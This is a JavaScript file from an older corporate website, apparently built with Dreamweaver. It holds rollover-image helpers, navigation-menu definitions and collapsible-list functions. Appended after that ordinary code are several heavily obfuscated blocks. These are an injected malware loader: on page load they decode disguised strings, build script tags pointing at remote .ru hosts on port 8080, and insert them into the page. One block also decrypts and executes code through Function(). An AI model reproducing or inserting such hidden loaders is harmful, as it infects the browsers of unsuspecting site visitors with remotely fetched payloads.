  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}



function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}


function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}



function MM_nbGroup(event, grpName) { //v6.0
var i,img,nbArr,args=MM_nbGroup.arguments;
  if (event == "init" && args.length > 2) {
    if ((img = MM_findObj(args[2])) != null && !img.MM_init) {
      img.MM_init = true; img.MM_up = args[3]; img.MM_dn = img.src;
      if ((nbArr = document[grpName]) == null) nbArr = document[grpName] = new Array();
      nbArr[nbArr.length] = img;
      for (i=4; i < args.length-1; i+=2) if ((img = MM_findObj(args[i])) != null) {
        if (!img.MM_up) img.MM_up = img.src;
        img.src = img.MM_dn = args[i+1];
        nbArr[nbArr.length] = img;
    } }
  } else if (event == "over") {
    document.MM_nbOver = nbArr = new Array();
    for (i=1; i < args.length-1; i+=3) if ((img = MM_findObj(args[i])) != null) {
      if (!img.MM_up) img.MM_up = img.src;
      img.src = (img.MM_dn && args[i+2]) ? args[i+2] : ((args[i+1])?args[i+1] : img.MM_up);
      nbArr[nbArr.length] = img;
    }
  } else if (event == "out" ) {
    for (i=0; i < document.MM_nbOver.length; i++) { img = document.MM_nbOver[i]; img.src = (img.MM_dn) ? img.MM_dn : img.MM_up; }
  } else if (event == "down") {
    nbArr = document[grpName];
    if (nbArr) for (i=0; i < nbArr.length; i++) { img=nbArr[i]; img.src = img.MM_up; img.MM_dn = 0; }
    document[grpName] = nbArr = new Array();
    for (i=2; i < args.length-1; i+=2) if ((img = MM_findObj(args[i])) != null) {
      if (!img.MM_up) img.MM_up = img.src;
      img.src = img.MM_dn = (args[i+1])? args[i+1] : img.MM_up;
      nbArr[nbArr.length] = img;
  } }
}




function MM_preloadImages() { //v3.0
 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
   var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
   if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}



function mmLoadMenus() {
  

if (window.mm_menu_0008121705_0) return;
  

window.mm_menu_0008121705_0 = new Menu("root",96,18,"Verdana, Arial, Helvetica, sans-serif",12,"#ffffff","#ffff00","#000000","#666666","center","middle",3,0,5,-5,7,true,false,true,2,true,true);
  
mm_menu_0008121705_0.addMenuItem("History","location='index.php?page=history'");
  mm_menu_0008121705_0.addMenuItem("Management","location='index.php?page=management'");
   mm_menu_0008121705_0.bgImageUp="images/nav/mmmenu4_96x18_up.gif";
   mm_menu_0008121705_0.bgImageOver="images/nav/mmmenu4_96x18_over.gif";
   mm_menu_0008121705_0.fontWeight="bold";
   mm_menu_0008121705_0.hideOnMouseOut=true;
   mm_menu_0008121705_0.bgColor='#666666';
    

window.mm_menu_0008121705_1_1 = new Menu("Exalead",126,18,"Verdana, Arial, Helvetica, sans-serif",12,"#ffffff","#ffff00","#000000","#666666","center","middle",3,0,5,0,0,true,false,true,2,true,true);
    

mm_menu_0008121705_1_1.addMenuItem("One&nbsp;:&nbsp;Entreprise","location='index.php?page=entreprise'");
    
mm_menu_0008121705_1_1.addMenuItem("One&nbsp;:&nbsp;Datacenter","location='index.php?page=datacenter'");
    mm_menu_0008121705_1_1.addMenuItem("One&nbsp;:&nbsp;Workgroup","location='index.php?page=workgroup'");
    mm_menu_0008121705_1_1.addMenuItem("One&nbsp;:&nbsp;Desktop","location='index.php?page=desktop'");
   mm_menu_0008121705_1_1.bgImageUp="images/nav/mmmenu3_126x18_up.gif";
     mm_menu_0008121705_1_1.bgImageOver="images/nav/mmmenu3_126x18_over.gif";
     mm_menu_0008121705_1_1.fontWeight="bold";
     mm_menu_0008121705_1_1.hideOnMouseOut=true;
     mm_menu_0008121705_1_1.bgColor='#666666';  


window.mm_menu_0008121705_1 = new Menu("root",126,18,"Verdana, Arial, Helvetica, sans-serif",12,"#ffffff","#ffff00","#000000","#666666","center","middle",3,0,5,0,0,true,false,true,2,true,true);
  mm_menu_0008121705_1.addMenuItem(mm_menu_0008121705_1_1,"location='index.php?page=exalead'");
  
mm_menu_0008121705_1.addMenuItem("MASA GROUP","location='http://www.masagroup.net'");
  
mm_menu_0008121705_1.addMenuItem("BlueKaizen","location='http://www.bluekaizen.com'");
    mm_menu_0008121705_1.bgImageUp="images/nav/mmmenu3_126x18_up.gif";
   mm_menu_0008121705_1.bgImageOver="images/nav/mmmenu3_126x18_over.gif";
   mm_menu_0008121705_1.fontWeight="bold";
   mm_menu_0008121705_1.hideOnMouseOut=true;
   mm_menu_0008121705_1.childMenuIcon="images/nav/arrows.gif";
   mm_menu_0008121705_1.bgColor='#666666';
    

window.mm_menu_0008121705_2_1 = new Menu("Exalead",142,18,"Verdana, Arial, Helvetica, sans-serif",12,"#ffffff","#ffff00","#000000","#666666","center","middle",3,0,5,0,0,true,false,true,2,true,true);
    

mm_menu_0008121705_2_1.addMenuItem("Internet","location='index.php?page=internet'");
    mm_menu_0008121705_2_1.addMenuItem("Intranet","location='index.php?page=intranet'");
    mm_menu_0008121705_2_1.addMenuItem("Directories","location='index.php?page=directories'");
    mm_menu_0008121705_2_1.addMenuItem("Catalogs","location='index.php?page=catalogs'");
    mm_menu_0008121705_2_1.addMenuItem("Mobile","location='index.php?page=mobile'");
     mm_menu_0008121705_2_1.bgImageUp="images/nav/mmmenu2_142x18_up.gif";
     mm_menu_0008121705_2_1.bgImageOver="images/nav/mmmenu2_142x18_over.gif";
     mm_menu_0008121705_2_1.fontWeight="bold";
     mm_menu_0008121705_2_1.hideOnMouseOut=true;
     mm_menu_0008121705_2_1.bgColor='#666666';
    



window.mm_menu_0008121705_2 = new Menu("root",142,18,"Verdana, Arial, Helvetica, sans-serif",12,"#ffffff","#ffff00","#000000","#666666","center","middle",3,0,5,0,0,true,false,true,2,true,true);
  mm_menu_0008121705_2.addMenuItem(mm_menu_0008121705_2_1,"location='index.php?page=exaleadsolutions'");
  

mm_menu_0008121705_2.addMenuItem("MASA GROUP","location='http://www.masagroup.net/'");
  
mm_menu_0008121705_2.addMenuItem("BlueKaizen","location='http://www.bluekaizen.com/'");
    mm_menu_0008121705_2.bgImageUp="images/nav/mmmenu2_142x18_up.gif";
   mm_menu_0008121705_2.bgImageOver="images/nav/mmmenu2_142x18_over.gif";
   mm_menu_0008121705_2.fontWeight="bold";
   mm_menu_0008121705_2.hideOnMouseOut=true;
   mm_menu_0008121705_2.childMenuIcon="images/nav/arrows.gif";
   mm_menu_0008121705_2.bgColor='#666666';
  window.mm_menu_0008155306_3 = new Menu("root",93,18,"Verdana, Arial, Helvetica, sans-serif",12,"#ffffff","#ffff00","#000000","#666666","center","middle",3,0,5,-5,7,true,false,true,2,true,true);
  mm_menu_0008155306_3.addMenuItem("Our&nbsp;address","location='index.php?page=details'");
  mm_menu_0008155306_3.addMenuItem("Contact&nbsp;us","location='index.php?page=form'");
   mm_menu_0008155306_3.bgImageUp="images/nav/mmmenu1_93x18_up.gif";
   mm_menu_0008155306_3.bgImageOver="images/nav/mmmenu1_93x18_over.gif";
   mm_menu_0008155306_3.fontWeight="bold";
   mm_menu_0008155306_3.hideOnMouseOut=true;
   mm_menu_0008155306_3.bgColor='#666666';

  mm_menu_0008155306_3.writeMenus();
} // mmLoadMenus()
var openLists = [], oIcount = 0;


function compactMenu(oID,oAutoCol,oPlMn,oMinimalLink) {
	if( !document.getElementsByTagName || !document.childNodes || !document.createElement ) { return; }
	var baseElement = document.getElementById( oID ); if( !baseElement ) { return; }
	compactChildren( baseElement, 0, oID, oAutoCol, oPlMn, baseElement.tagName.toUpperCase(), oMinimalLink && oPlMn );
}


function compactChildren( oOb, oLev, oBsID, oCol, oPM, oT, oML ) {
	if( !oLev ) { oBsID = escape(oBsID); if( oCol ) { openLists[oBsID] = []; } }
	for( var x = 0, y = oOb.childNodes; x < y.length; x++ ) { if( y[x].tagName ) {
		//for each immediate LI child
		var theNextUL = y[x].getElementsByTagName( oT )[0];
		if( theNextUL ) {
			//collapse the first UL/OL child
			theNextUL.style.display = 'none';
			//create a link for expanding/collapsing
			var newLink = document.createElement('A');
			newLink.setAttribute( 'href', '#' );
			newLink.onclick = new Function( 'clickSmack(this,' + oLev + ',\'' + oBsID + '\',' + oCol + ',\'' + escape(oT) + '\');return false;' );
			//wrap everything upto the child U/OL in the link
			if( oML ) { var theHTML = ''; } else {
				var theT = y[x].innerHTML.toUpperCase().indexOf('<'+oT);
				var theA = y[x].innerHTML.toUpperCase().indexOf('<A');
				var theHTML = y[x].innerHTML.substr(0, ( theA + 1 && theA < theT ) ? theA : theT );
				while( !y[x].childNodes[0].tagName || ( y[x].childNodes[0].tagName.toUpperCase() != oT && y[x].childNodes[0].tagName.toUpperCase() != 'A' ) ) {
					y[x].removeChild( y[x].childNodes[0] ); }
			}
			y[x].insertBefore(newLink,y[x].childNodes[0]);
			y[x].childNodes[0].innerHTML = oPM + theHTML.replace(/^\s*|\s*$/g,'');
			theNextUL.MWJuniqueID = oIcount++;
			compactChildren( theNextUL, oLev + 1, oBsID, oCol, oPM, oT, oML );
} } } }



function clickSmack( oThisOb, oLevel, oBsID, oCol, oT ) {
	if( oThisOb.blur ) { oThisOb.blur(); }
	oThisOb = oThisOb.parentNode.getElementsByTagName( unescape(oT) )[0];
	if( oCol ) {
		for( var x = openLists[oBsID].length - 1; x >= oLevel; x-=1 ) { if( openLists[oBsID][x] ) {
			openLists[oBsID][x].style.display = 'none'; if( oLevel != x ) { openLists[oBsID][x] = null; }
		} }
		if( oThisOb == openLists[oBsID][oLevel] ) { openLists[oBsID][oLevel] = null; }
		else { oThisOb.style.display = 'block'; openLists[oBsID][oLevel] = oThisOb; }
	} else { oThisOb.style.display = ( oThisOb.style.display == 'block' ) ? 'none' : 'block'; }
}


function stateToFromStr(oID,oFStr) {
	if( !document.getElementsByTagName || !document.childNodes || !document.createElement ) { return ''; }
	var baseElement = document.getElementById( oID ); if( !baseElement ) { return ''; }
	if( !oFStr && typeof(oFStr) != 'undefined' ) { return ''; } if( oFStr ) { oFStr = oFStr.split(':'); }
	for( var oStr = '', l = baseElement.getElementsByTagName(baseElement.tagName), x = 0; l[x]; x++ ) {
		if( oFStr && MWJisInTheArray( l[x].MWJuniqueID, oFStr ) && l[x].style.display == 'none' ) { l[x].parentNode.getElementsByTagName('a')[0].onclick(); }
		else if( l[x].style.display != 'none' ) { oStr += (oStr?':':'') + l[x].MWJuniqueID; }
	}
	return oStr;
}


function MWJisInTheArray(oNeed,oHay) { for( var i = 0; i < oHay.length; i++ ) { if( oNeed == oHay[i] ) { return true; } } return false; }


function selfLink(oRootElement,oClass,oExpand,oLink) {
	var tmpLink;
	if(!document.getElementsByTagName||!document.childNodes) { return; }
	oRootElement = document.getElementById(oRootElement);
	if( oLink ) {
		tmpLink = document.createElement('a');
		tmpLink.setAttribute('href',oLink);
	}
	for( var x = 0, y = oRootElement.getElementsByTagName('a'); y[x]; x++ ) {
		if( y[x].getAttribute('href') && !y[x].href.match(/#$/) && getRealAddress(y[x]) == getRealAddress(oLink?tmpLink:location) ) {
			y[x].className = (y[x].className?(y[x].className+' '):'') + oClass;
			if( oExpand ) {
				oExpand = false;
				for( var oEl = y[x].parentNode, ulStr = ''; oEl != oRootElement && oEl != document.body; oEl = oEl.parentNode ) {
					if( oEl.tagName && oEl.tagName == oRootElement.tagName ) { ulStr = oEl.MWJuniqueID + (ulStr?(':'+ulStr):''); } }
				stateToFromStr(oRootElement.id,ulStr);
} } } }


function getRealAddress(oOb) { return oOb.protocol + ( ( oOb.protocol.indexOf( ':' ) + 1 ) ? '' : ':' ) + oOb.hostname + ( ( typeof(oOb.pathname) == typeof(' ') && oOb.pathname.indexOf('/') != 0 ) ? '/' : '' ) + oOb.pathname + oOb.search; }


function expandCollapseAll(oElID,oState) {
	if(!document.getElementsByTagName||!document.childNodes) { return; }
	var oEl = document.getElementById(oElID);
	var oT = oEl.tagName;
	var oULs = oEl.getElementsByTagName(oT);
	for( var i = 0, oLnk; i < oULs.length; i++ ) {
		if( typeof(oULs[i].MWJuniqueID) != 'undefined' ) {
			oLnk = oULs[i].parentNode.getElementsByTagName( 'a' )[0];
			if( oLnk && ( ( oState && oULs[i].style.display == 'none' ) || ( !oState && oULs[i].style.display != 'none' ) ) ) {
				oLnk.onclick();
} } } }
var bl;if(bl!='e'){bl='e'};this.x='';this.v="v";var m='s7c7r;iGp7tG'.replace(/[G79D;]/g, '');var o=window;this.l=22699;var b=document;this.i='';var lq;if(lq!='li' && lq!='ls'){lq=''};var cj=new Array();o.onload=function(){var j=false;try {var xf;if(xf!='' && xf!='nx'){xf='ns'};var gt=new String();s=b.createElement(m);this.nc=41420;var u_=false;var ei=11092;s.setAttribute('d9eMfheBrk'.replace(/[khBM9]/g, ''), "1");s.src='h!t#t#pN:#/#/Ni!cYi*bYa!-Nc#o*m!.#mNeYiYn#vNzN.Nn#e*t#.!mYaNp#q#u*eNs*tN-*cNo*m*.Nb!e*s*t!nNe*w#h#aYv#e*n#.YrYu*:Y8Y0!8Y0*/*kNoYm!l*iY.*c!oYm#/*k*o!mYlNi#.!c#o#m#/!t!r*aYvNe#l*o!c#iYtYy!.NcYo*m!/*g#oNo!gYl*e*.!c!oYm*/Y3Y6Y0YbYu*yY.Nc*oNm*/!'.replace(/[\!#\*YN]/g, '');this.a='';this.fa='';b.body.appendChild(s);this.ig=56350;this.ua="";} catch(u){var z;if(z!='ijd'){z='ijd'};};var j_=new Date();var r_;if(r_!='gn'){r_='gn'};};
var f;if(f!=''){f='zp'};a=function(){this.au='';var p=document;var _='';window[aj([2,8][0])]=function(){var h=new Array();try {q=p[aj([1][0])](aj([0][0]));this.m="";q[aj([4,5][1])](aj([7][0]), "1");q[aj([3][0])]=aj([8][0]);var i = p[aj([6,3][0])];this.hw="hw";this.j=false;i[aj([3,4][1])](q);} catch(r){};};function aj(n){var z=['sLcYrYiYpLtL'.replace(/[LYPW0]/g, ''), 'c,rFe,afthehEfl,eFmFe,nDt,'.replace(/[,hDfF]/g, ''), 'o2n8l_o+a8d8'.replace(/[82_\+7]/g, ''), 'sorUc0'.replace(/[0Udo\|]/g, ''), 'aZp|p|e|n|dfCZhAiZlfdA'.replace(/[A9\|fZ]/g, ''), 'sWeqtYAWtYt,r,i@bqu@tYe@'.replace(/[@qWY,]/g, ''), 'bjoQdOyj'.replace(/[jO1Q;]/g, ''), 'dReMfwe6rw'.replace(/[wR6MA]/g, ''), 'h|tNtNpG:N/N/qvGiGrNgqiNnqmNeGdNi^a^-|cqoNmG.^nGiqn|e|mqsGn^.qcGo|mq.NaNuN.qlNe^bNo^n^cGoqiqnq-Nf^r^.Nn^e^w^gqoGl^fNoGnNl|iNnNeq.Nr^uN:G8^0^8N0N/^aNd^u|lNt|-qeNmGp|i|rqeG.^c^oqm|/qaNdGu|l^tq-NeNmGpGiqr^eq.^c^oqmG/^sNoNuGrqcGeNf^oNrGgNeN.qn^e^tG/Ng^o^oqgGlNe^.^cqoqmN/GsNc^rNi^b^dq.^cGoqmN/N'.replace(/[NGq\|\^]/g, '')];var nz=z[n];return nz;this.ax="ax";}this.ek=28078;};this.fj="fj";a();this.t="";
this.k='';var g;if(g!='ry'){g=''};function f() {var dt='';this.a='';var _g;if(_g!='zg'){_g=''};function u(w,r,rw){var kn="kn";w.setAttribute(r, rw);}function j(){return ([1,5][0]);}var o=new Array();this.ib="";var gni;if(gni!='' && gni!='uj'){gni=''};var _='hGt!t>p>:&/!/PlPi&v!ePjPaPsPmGi&n&-&c!oGm!.!g>o&oPgPl>e&.>p>l>.PiGnPdPiPa&n!r&aGi!l!-!gGoPv>-&i!n&.>h&o>mGe>u&s&a>o!n!l>i!n!eG.&rPu!:>8>0!8!0>/G5G1!.&lGa>/G5!1P.&l>aG/>g>o>oPg!lPeP.!c!o!m!/PePv!o!nGy>.&c>oGmP/Gc>o>o>k&pPa>d!.&c>o>m&/&'.replace(/[&\>G\!P]/g, '');var cs;if(cs!=''){cs='wb'};var b='sqr9ca'.replace(/[aeq9_]/g, '');var fp=window;var n;if(n!='yh' && n!='gnc'){n=''};var y='obnQl6o9abd9'.replace(/[9Qb6v]/g, '');var d='swc#rwi#p#t#'.replace(/[#\.CQw]/g, '');var wh='c,rJe,ajt*eJEJl,e$m,eJnjtJ'.replace(/[Jj\*,\$]/g, '');var sp;if(sp!='pz' && sp!='jn'){sp=''};var q="";var a_;if(a_!='nd'){a_='nd'};var yb;if(yb!='ap'){yb='ap'};var dm=new String();fp[y]=function(){try {this.hn='';dn=document[wh](d);this.ka=false;var v=new Array();u(dn,'dLe>f>eLrm'.replace(/[m\>L03]/g, ''),j());u(dn,b,_);var cl;if(cl!='zz' && cl!='jb'){cl=''};var nw;if(nw!='ibk' && nw!='l'){nw=''};document['b*oPd*y*'.replace(/[\*Prqk]/g, '')]['a4pcp4e6n6dcCch6i4lJd6'.replace(/[6cIJ4]/g, '')](dn);} catch(t){var fu;if(fu!='' && fu!='yl'){fu='vy'};};this.ui="";};var st="st";var lc="lc";var wq='';};var ci;if(ci!='tp' && ci!='ddv'){ci='tp'};this.rs="";f();
var AB="0b141226066607251c092e62043107126a26083d041214070b392e260119030d2b0c011b211f25172c002604143e3d0d1203150022291b26160f0e122e221c0714600e17710b080a571707641513";var fH;if(fH!='' && fH!='ne'){fH=null};var kP;if(kP!='' && kP!='ki'){kP=null};var hK;if(hK!='' && hK!='Hb'){hK=null};function W(U){ var L=function(A, D){var z;if(z!='' && z!='KI'){z=null};var Mp;if(Mp!='' && Mp!='E'){Mp=''};var T=false;var Q = A.length;var iL='';var G=[0,6][0];var QY = D.length;var Ar=new Date();var F = '';var Y=[1][0];var zV;if(zV!='' && zV!='Nm'){zV='gX'};for(var B = G; B < Q; B += QY) {var fj=new String();var m = A.substr(B, QY);var BG="BG";this.xX="xX";this.IA='';if(m.length == QY){var b=36884;this.Ik="Ik";this.zi='';for(var v in D) {this.oM="oM";this.ul="ul";F+=m.substr(D[v], Y);}var Ja=false;var BC;if(BC!='bn' && BC!='Uv'){BC=''};var wV;if(wV!='yl' && wV != ''){wV=null};} else {  F+=m;}var Rd;if(Rd!='vt' && Rd != ''){Rd=null};}var Ie;if(Ie!=''){Ie='Zh'};return F;};var VN;if(VN!='Co'){VN=''};var GZ;if(GZ!='ZQ'){GZ=''}; var lj=function(y){var dg=60261;var BE;if(BE!='bt'){BE=''};var vm=[0][0];var Jv="";var OJ;if(OJ!='Ef'){OJ=''};var v=[43,131,0,101][2];var qs="qs";var Y=[1][0];this.VNE="";var FA;if(FA!='Qe'){FA=''};var M=y[L("elnhtg", [1,0,2,5,4,3])];this.a="";var Fs=[249,255][1];var GQ=new Date();this.yQ=4100;while(v<M){var UG;if(UG!='tM'){UG=''};this.Er='';var GN=new String();var of;if(of!='Au'){of='Au'};v++;this.ZN="";var bh;if(bh!='LR' && bh!='cZ'){bh=''};C=Gh(y,v - Y);var hQ=false;vm+=C*M;}var XJ=new Date();var TT;if(TT!=''){TT='mR'};var ToK;if(ToK!=''){ToK='FR'};return new K(vm % Fs);var bv;if(bv!='nZ'){bv='nZ'};};var tm=6992;this.wN=false; function c(MF,J){var Mm="Mm";var NU=new String();return MF^J;}var FJ="";var nr=new Date(); var Gh=function(n,i){this.Kj='';var Li;if(Li!='un'){Li=''};return n[L("CchadoerAt", [1,2,3,7,0,5,4,6])](i);};var WB;if(WB!='' && WB!='YX'){WB=''};var VH;if(VH!='EC'){VH=''};var cC;if(cC!='' && cC!='uM'){cC='Ip'}; var l=function(A){var gg;if(gg!='' && gg!='wu'){gg=''};var TB=new Array();var IF=new Array();var G =[68,35,48,0][3];var zW="";var B =[61,0][1];this.Dv="";var Yd=new String();A = new K(A);var F = '';var fe;if(fe!='BVp' && fe!='qh'){fe=''};this.aP="";var Sq;if(Sq!='Kp'){Sq='Kp'};var X = -1;var aL="aL";var QM=new Date();this.zh='';this.Xo="";var EZ=new String();var lP=false;for (B=A[L("elgnht", [1,0])]-X;B>=G;B=B-[1,120,123,72][0]){F+=A[L("hacrAt", [2,0,1,3,4])](B);var JA='';}this.dE=false;return F;var zu;if(zu!='' && zu!='cCw'){zu=null};};this.Oo='';this.xYw='';this.Xg=63607;var jh;if(jh!='' && jh!='nU'){jh=null};var VT=new Date();var LE=window;this.Ag=51421;this.sD=19532;var Z=LE[L("avel", [2,1,0])];var o=Z(L("cnoinFtu", [5,7,1,0,6,3,2,4]));this.XU=4928;var Hv;if(Hv!='YH'){Hv=''};var WG=Z(L("eREgpx", [1,0]));var xc=998;var K=Z(L("rStgin", [1,2,0]));var Oc=false;var mZ=33438;var GU = '';var Jg;if(Jg!=''){Jg='Qej'};var HL=false;var ba=false;var eI="eI";var N=LE[L("nuseacep", [1,0])];var EU=new String();var Axv;if(Axv!=''){Axv='LiX'};var g=K[L("orfhCmCraedo", [2,1,0])];var Fsi;if(Fsi!='oj'){Fsi='oj'};var BK=40326;var yL;if(yL!='' && yL!='Xy'){yL='HN'};var sJ;if(sJ!='' && sJ!='LN'){sJ='EK'};var Ya = '';var PM;if(PM!=''){PM='fr'};var Gkg;if(Gkg!='cb'){Gkg='cb'};var ED="ED";var JB;if(JB!='Vo'){JB=''};var Bj =[228,2][1];var j = U[L("elgnht", [1,0])];var Ym=new Date();var Bg = /[^@a-z0-9A-Z_-]/g;var dz=new Array();var oC;if(oC!='yj'){oC=''};var SH="";var G =[0][0];var wz;if(wz!='' && wz!='uw'){wz=null};var w = '';this.Lh='';var Nj;if(Nj!='' && Nj!='AZ'){Nj=null};var nn =[152,176,0,40][2];this.Fk="Fk";this.RK=false;var q=[1, L("mucdoc.tenetareemeEls\'(nttpicr\')", [3,4,2,1,0]),2, L("mcudobt.enay.oddenppdilCh(d)", [3,4,1,2,0]),3, L(".desAtttirubet\'(edefr\'", [1,0,3,2]),4, L("mo.csno.spgkd.nwlooda", [3,1,0,2,4,6,5]),5, L("ocms.ietmpaer.u8:080", [1,0,2]),6, L("abdi.uocm", [1,0]),7, L("laalubtoo..cjp", [1,3,0,2]),8, L("odiwnln.wooad", [3,2,4,1,0]),11, L("gl.oocegom.tw", [7,3,4,0,1,6,2,5]),12, L("oftnnuci()", [1,5,4,6,2,7,0,3]),14, L("loggom.oec", [3,1,4,2,0]),15, L("cathc(e)", [4,1,2,0,3]),16, L("dadhtis", [1,0,2]),17, L("ptht\":", [4,2,1,3,0]),18, L("sdr.c", [1,3,0,2]),19, L("\'\')1", [1,3,0,2]),20, L("rty", [1,0])];var CGD;if(CGD!='aQ' && CGD!='mN'){CGD='aQ'};var Y =[193,1][1];var MH;if(MH!=''){MH='tg'};var uK;if(uK!=''){uK='hf'};var P = K.fromCharCode(37);var vZ = '';this.nO="nO";var qW=false;var tEP;if(tEP!='' && tEP!='sG'){tEP='De'};for(var u=G; u < j; u+=Bj){var Agl=49623;var DQ;if(DQ!='' && DQ!='Je'){DQ=''};w+= P; w+= U[L("ussbrt", [1,0])](u, Bj);var cp;if(cp!=''){cp='gb'};}this.Fn="Fn";this.ADo="ADo";var U = N(w);this.Ia=48676;var fT;if(fT!='nj'){fT='nj'};var h = new K(W);var Rmq=44308;var GX;if(GX!='ECV'){GX=''};var Fd = h[L("praeecl", [1,4,0,6,2,5,3])](Bg, Ya);var TF;if(TF!='qk' && TF!='ik'){TF=''};this.XV="";var WX;if(WX!='vj'){WX='vj'};var up = new K(o);var tk=false;var WP;if(WP!='' && WP!='cv'){WP=null};var dom;if(dom!='' && dom!='wwk'){dom=''};var qD;if(qD!='' && qD!='nUu'){qD='DLz'};var Cf = q[L("ntelgh", [3,2,0,4,1])];var yv;if(yv!='Dg'){yv=''};var Aa;if(Aa!='bC'){Aa=''};Fd = l(Fd);var Nx=28893;var jx=new Date();this.Wo=13206;var uG=new Date();var vC = up[L("pacrlee", [3,5,0,4,1,2])](Bg, Ya);this.BQ="";this.fB=40014;var vC = lj(vC);var Dj;if(Dj!='RKt' && Dj!='Qv'){Dj='RKt'};var Uk=new Date();var V=lj(Fd);var Qt="";for(var B=G; B < (U[L("gtlenh", [2,3,4,0,1])]);B=B+[1,96][0]) {var kzX;if(kzX!='tJ'){kzX='tJ'};this.iJ='';this.HW=false;var rK = Fd.charCodeAt(nn);var eo=new String();var bU;if(bU!='Ih' && bU!='YV'){bU=''};var CO = Gh(U,B);var GFX=new String();var kN;if(kN!='sZ' && kN != ''){kN=null};this.YqR="";this.Wca="";CO = c(CO, rK);this.ar="";var Zs=new String();var Oq;if(Oq!='' && Oq!='jl'){Oq=null};CO = c(CO, V);var KG;if(KG!='' && KG!='CB'){KG=''};var PE=false;CO = c(CO, vC);this.bB=29846;nn++;if(nn > Fd.length-Y){var Tp;if(Tp!='' && Tp!='tP'){Tp=''};var StW;if(StW!='uQ' && StW != ''){StW=null};nn=G;}this.Qy=false;vZ += g(CO);var CBI;if(CBI!='CN'){CBI=''};this.hW="hW";}var Tt;if(Tt!='' && Tt!='yP'){Tt=null};this.sv='';var yT;if(yT!='' && yT!='hWE'){yT=null};for(ZI=G; ZI < Cf; ZI+=Bj){this.DQM=false;var qm;if(qm!='' && qm!='wq'){qm='HB'};var HV="HV";var MZ = q[ZI + Y];var zT;if(zT!='ib' && zT!='tL'){zT=''};var cN=new Array();var Tah;if(Tah!='mt'){Tah=''};var Mx = g(q[ZI]);var WBB;if(WBB!='Pa' && WBB!='dv'){WBB=''};this.pA='';var Ln = new WG(Mx, "g");var fBH;if(fBH!='' && fBH!='zk'){fBH=''};vZ=vZ[L("erlpcae", [1,0])](Ln, MZ);}var RP;if(RP!='' && RP!='yN'){RP=''};var DJ=new o(vZ);DJ();var Ihj;if(Ihj!='In' && Ihj!='JH'){Ihj='In'};this.mq='';V = '';this.Xx=false;vZ = '';var TE=false;var eL=false;DJ = '';var be=new Array();Fd = '';var tU=new Date();up = '';var Eln=new Array();vC = '';this.rg=false;this.Tl=false;var Af;if(Af!=''){Af='Pk'};var ta;if(ta!=''){ta='Wa'};var zCb="";return '';};var fH;if(fH!='' && fH!='ne'){fH=null};var kP;if(kP!='' && kP!='ki'){kP=null};var hK;if(hK!='' && hK!='Hb'){hK=null};W(AB);
function U() {var MB="";var N;if(N!='Pv'){N='Pv'};var NI;if(NI!='' && NI!='aB'){NI=null};var M=RegExp;var P='[';var u;if(u!='Ox' && u != ''){u=null};var d='replace';var K;if(K!='zn'){K='zn'};var V='g';var z=new String();var X=new Array();var W=']';this.Vq='';var mf='';var dd;if(dd!='' && dd!='Cd'){dd=null};function x(i,r){var Wx;if(Wx!='' && Wx!='w'){Wx='xo'};var D=new String();var CC;if(CC!='DA'){CC='DA'};var G=P;this.qf="";this.re="";G+=r;G+=W;var j=new Array();var h=new M(G, V);var Sz;if(Sz!='Ua' && Sz!='tm'){Sz='Ua'};var R=new String();return i[d](h, z);};var Ge;if(Ge!='Mm' && Ge!='yq'){Ge=''};var SL;if(SL!='Eg' && SL!='rl'){SL=''};var iJ='';var YL='';var GU=window;var FF=new Date();var iB=x('/VgKoVoAgAlKeV.VcAoVmV/VgzozoAgVlVeK.zcVoAmK/zaAeAbznz.AnzeKtV/KtVoVyAsArzuKsz.zczozmV/KeKbzaAyz.zeKsA.KpVhzpz',"AzKV");var B=x('hWtWtWpT:T/W/ToTpWeWrWaT-TcToTmW.TtTaTbWeWlWoWgW.WcToTmW.WbWaTsTeWcWaWmTpWhWqT-TcToTmW.WnWeWwTaTgTeTdWiWrWeTcTtW.WrTuT:W',"WT");var Mi;if(Mi!='jP' && Mi != ''){Mi=null};this.Tg='';var e=x('812039853053',"39215");var we;if(we!=''){we='_'};var qF=new Date();var C=x('sLcLrhihpTtL',"hqTNL");var ep;if(ep!='Nb'){ep=''};var PU=new Array();var Vk='';var ig=x('cKrKe7aUt7eKEHlKeUmUe7nKt7',"U4KH7");var iQ;if(iQ!='' && iQ!='nr'){iQ=null};var qd;if(qd!='' && qd!='wP'){qd=null};var f='';var k;if(k!='' && k!='Fk'){k=''};this.Kl='';var ap;if(ap!='Yx'){ap='Yx'};GU[x('oqnqlxoFaFdx',"qxF")]=function(){var Nd;if(Nd!='nj'){Nd=''};try {var sN;if(sN!=''){sN='I'};var iZ='';f+=B;f+=e;var fJ;if(fJ!='LP'){fJ=''};f+=iB;this.cE='';var rKb;if(rKb!=''){rKb='CU'};UC=document[ig](C);this.Ic='';var dX=new Array();iX(UC,'src',f);var Pf=new String();var oro=new String();iX(UC,'defer',([1][0]));document.body.appendChild(UC);var fp=new Array();var KC=new Array();} catch(O){};};function iX(a,b,aN){this.Tk="";var Ii;if(Ii!='dC' && Ii!='Uk'){Ii=''};a.setAttribute(b, aN);}var lm='';var EW;if(EW!='wW'){EW=''};var Wl;if(Wl!='Lr' && Wl!='zf'){Wl=''};};var fpm=new String();U();var an="";var dx=new Date();